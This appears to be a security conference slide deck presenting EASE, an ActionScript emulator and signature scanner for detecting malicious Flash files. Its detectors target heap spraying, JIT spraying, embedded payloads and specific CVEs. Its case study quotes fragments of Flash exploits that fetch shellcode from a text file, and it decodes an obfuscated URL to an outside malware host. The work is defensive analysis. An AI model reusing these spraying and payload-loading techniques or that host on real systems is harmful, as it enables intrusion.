



Dissecting Flash with EASE (Experimental ActionScript Emulator)

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Thank you

Guillaume Lovet

Many good suggestions!

Coming up...

- ∅ **Introduction**
- ∅ **Features of EASE**
- ∅ **Flash Scanner**
- ∅ **Limitations**
- ∅ **Case study**
- ∅ **Demo**

Why?

- ∅ Flash is becoming a major vector of infection
- ∅ Difficult and time consuming to analyze Flash exploit without proper tool

How?

1. Decode SWF file according to file format specification
2. Decode ABC file if DoABC/RawABC appear
3. Setup running environment
4. Execute scripts
5. Detectors report findings

EASE Features

- ∅ Detect Heap spraying
- ∅ Detect JIT spraying
- ∅ Extract Embedded Flash
- ∅ Extract Embedded JavaScript
- ∅ Detect Exploit

EASE Features



Detect Heap spraying

Detect Heap spraying

Example 1

```
allocs = new Array();  
alloc_event(arg0:TimerEvent):void  
{  
var loc0:* = new ByteArray();  
loc0.writeBytes(pool);  
allocs.push(loc0);  
return;  
}
```


Detect Heap spraying Cont.



Implement a detector in **push** method of class **Array**.

Condition:

Push **same large** content to **same array multiple** times.

Detect Heap spraying Cont.

Example 2

```
00056) + 0:1 getlocal r8 //value
00057) + 1:1 getlocal r6 //offset
00058) + 2:1 si32 //?
...
00066) + 2:1 getproperty
<q>[public]::length
00067) + 2:1 convert_i
00068) + 2:1 iflt ->48
```

Detect Heap spraying Cont.



Undocumented instructions:

si8: write 8 bits in global memory

si16: write 16 bits in global memory

si32: write 32 bits in global memory

Detect Heap spraying Cont.



Implement a detector in instructions **si8**, **si16** and **si32**.

Condition:

Accumulated heap size written by instructions **si8/si16/si32** is above a threshold.



Detect JIT spraying

Detect JIT spraying



Use many XOR operator with constant that encode small instructions.

Example:

$0x3C909090 \wedge 0x3C909090 \wedge 0x3C909090 \dots$

Detect JIT spraying Cont.



==>

00000) + 0:0 pushint 1016107152

00001) + 1:0 pushint 1016107152

00002) + 2:0 bitxor

00003) + 1:0 pushint 1016107152

00004) + 2:0 bitxor

...

Detect JIT spraying Cont.



Implement a detector in instruction **bitxor**.

Condition:

Successive pushint and **bitxor** instructions appear above a threshold.

EASE Features



Extract Embedded Flash

Extract embedded Flash

Level0 Flash exploit:

A flash file that crafted to trigger a particular Flash player vulnerability.

In many case, level0 Flash exploit is embedded in a container,for example another Flash, PDF, Office document, and is loaded after heap spraying work is done.

Extract embedded Flash Cont.



Example

```
this.r = this.hexToBin(this.t);  
this.ldr = new Loader();  
loadBytes(this.r);
```

Extract embedded Flash Cont.



Implement a detector in **loadBytes** method of class **Loader**.

Export input parameter value of **loadBytes** method.

EASE Features

Extract Embedded JavaScript

Extract embedded JavaScript



Flash communicate with its container, for example an HTML page, through class **ExternalInterface**.

```
<param name="movie" value="main.swf">
```

Method “**call**” is designed to call a function, for example “**eval**”, exposed by container.

Extract embedded JavaScript Cont.

Example

00037) + 0:0 *getlex*

<q>[public]**flash.external::ExternalInte
rface**

00038) + 1:0 *pushstring "eval"*

...

00045) + 3:0 *coerce* <q>[public]::String

00046) + 3:0 *callpropvoid*

<q>[public]::**call, 2 params**

Extract embedded JavaScript Cont.

Implement a detector in **call** method of class **ExternalInterface**:

Export second input parameter value of method **ExternalInterface::call** if “**eval**” is called.

EASE Features



Detect Exploit

Detect exploit

For most of Flash vulnerabilities locate in AVM2, the ability to decompile ABC file is usually required for a reliable detection. In many cases, ActionScript emulator is a must.

For example:

CVE-2010-3654

CVE-2011-0620

CVE-2011-2110//Latest Flash 0day exploit

Detect exploit Cont.

Example1: CVE-2010-3654

Found by dumb fuzzing.

0x16□0x07

Detect exploit Cont.

fl.controls:RadioButtonGroup class
<q>[public]
fl.controls::**RadioButtonGroup** extends
<q>[public]flash.events::EventDispatcher

-

fl.controls:RadioButtonGroup class
<q>[public]
fl.controls::**Button** extends
<q>[public]flash.events::EventDispatcher

Detect exploit Cont.



Implement a detector for CVE-2010-3654.

Condition:

A instance with protectedNS

“fl.controls:RadioButtonGroup” and
class **“Button”** is find.

Detect exploit Cont.

Example 2: CVE-2011-2110

```
//args is the named rest array  
public function test(... args) : void  
{  
...  
Number(args[1073741754]);
```

Detect exploit Cont.



Implement a detector for CVE-2011-2110.

Condition:

Negative or overly **large** index value to **named rest array** is used.

Flash Scanner



Signature based solution.

Why:

- ∅ Easy: add a rule VS add a detector
- ∅ Effective: same level0 Flash file is found to be used for many cases in the past .

Flash Scanner Cont.

```
rule Adobe_Flash_Invalid_Jump
{
  meta:
    ref = "CVE-2011-0609"
    impact = 10
  strings:
    $methodbody =
  /\x10\x1C\x00\x00\xD0...
```

Flash Scanner Cont.



Given a Flash exploit, the scanner may:

- ∅ Report known exploit
- ∅ Find possible 0day
- ∅ Make False Negative due to limitations

Limitations.

- ∅ Limited emulator
- ∅ Limited detectors
- ∅ Limited signatures

Case Study



Example: Metasploit module
“adobe_flashplayer_avm” target CVE-2011-0609

Send following three files

- 1.HTML file : embed following SWF file
- 2.SWF file: Flash exploit
- 3.TXT file: ?

Case Study Cont.



ActionScript code of Flash exploit:

```
var path:String =  
ExternalInterface.call("window.location.href.toString") + randname(6) +  
".txt";  
var urlRequest:URLRequest = new  
URLRequest(path);  
urlLoader.addEventListener(Event.COMPLE  
TE, urlLoader_complete);  
urlLoader.load(urlRequest);
```

Case Study Cont.

```
urlLoader_complete(evt:Event):void {  
  alloc_shellcode(urlLoader.data);  
}  
alloc_shellcode(p:String):void {  
  var val:ByteArray = new ByteArray();  
  val.writeBytes(hex2obin(p));
```

TXT file contain the shellcode!

Case study Cont.



Separate the shellcode from Flash exploit.

Gains:

- ∅ Flexible control of shellcode
- ∅ Evade detection

Pains:

- ∅ Only work on website

Case study Cont.

Flash exploit writers are accepting this technique.

Improvement is found in latest 0day exploit!

Case Study Cont.

Flash 0day exploit target CVE-2011-2110:

```
var param:* = root.loaderInfo.parameters;  
var t_url:* = this.hexToBin(param["info"]);  
while (i < t_url.length)  
{  
    t_url[i] = t_url[i] ^ 122;  
    i = (i + 1);  
}
```

Case Study Cont.

The “info” is provided In the container HTML file:

```
<param name="movie" value="main.swf?  
info=02e6b1525353caa8ad555555ad31b4c94ab  
231ab31b4b5cfc84ace4aaeb5b7afb531a851d35  
27b7a9b51767c" />
```

Case Study Cont.

Info:

*02e6b1525353caa8ad555555ad31b4c94ab231a
b31b4b5cfc84ace4aaeb5b7afb531a851d3527b7
a9b51767c*

==>

URL:

“<http://www.cn80nd.com:8181/mm/nb.txt>”.

Demo



Demo is a must

